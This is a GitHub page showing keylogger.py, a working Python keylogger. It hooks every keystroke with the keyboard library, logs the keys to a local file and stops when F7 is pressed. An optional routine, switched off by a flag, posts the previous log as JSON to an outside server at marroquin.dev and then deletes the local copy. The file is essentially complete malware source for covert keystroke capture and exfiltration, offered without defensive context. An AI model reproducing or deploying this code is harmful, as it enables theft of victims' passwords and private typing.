-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkeylogger.py
70 lines (63 loc) · 2 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from functools import partial
from urllib import request
import atexit
import json
import os
import keyboard
MAP = {
"space": " ",
"\r": "\n"
}
FILE_NAME = "./keystrokes.log"
SEND_TO_REMOTE_SERVER = False
TERMINATE_KEY = "f7"
def callback(output, is_down, event):
if event.event_type in ("up", "down"):
key = MAP.get(event.name, event.name)
modifier = len(key) > 1
if not modifier and event.event_type == "down": # Capture only modifiers when keys are pressed
return
if modifier: # Avoid typing the same key multiple times if it is being pressed
if event.event_type == "down":
if is_down.get(key, False):
return
is_down[key] = True
elif event.event_type == "up":
is_down[key] = False
key = " [{} ({})] ".format(key, event.event_type) # Indicate if the key is being pressed
elif key == "\r":
key = "\n" # Line break
output.write(key) # Write the key to the output file
output.flush() # Force write
def onexit(output):
output.close()
def main():
print("Press F7 to terminate")
if SEND_TO_REMOTE_SERVER:
if os.path.exists(FILE_NAME):
file = open(FILE_NAME, "r").read()
array_data = {
"data": file,
"type": "keylogger"
}
data = json.dumps(array_data).encode('utf8')
req = request.Request(
"https://marroquin.dev/api/tests",
data=data,
headers={
'content-type': 'application/json'
}
)
request.urlopen(req)
try:
if os.path.exists(FILE_NAME):
os.remove(FILE_NAME) # Delete the old file
is_down = {} # Indicates if a key is being pressed
output = open(FILE_NAME, "a") # Output file
atexit.register(onexit, output) # Close the file at the end of the program
keyboard.hook(partial(callback, output, is_down)) # Install the keylogger
keyboard.wait(TERMINATE_KEY) # Run until end key is pressed
except PermissionError:
print("File is probably being used by another process")
if __name__ == "__main__":
main()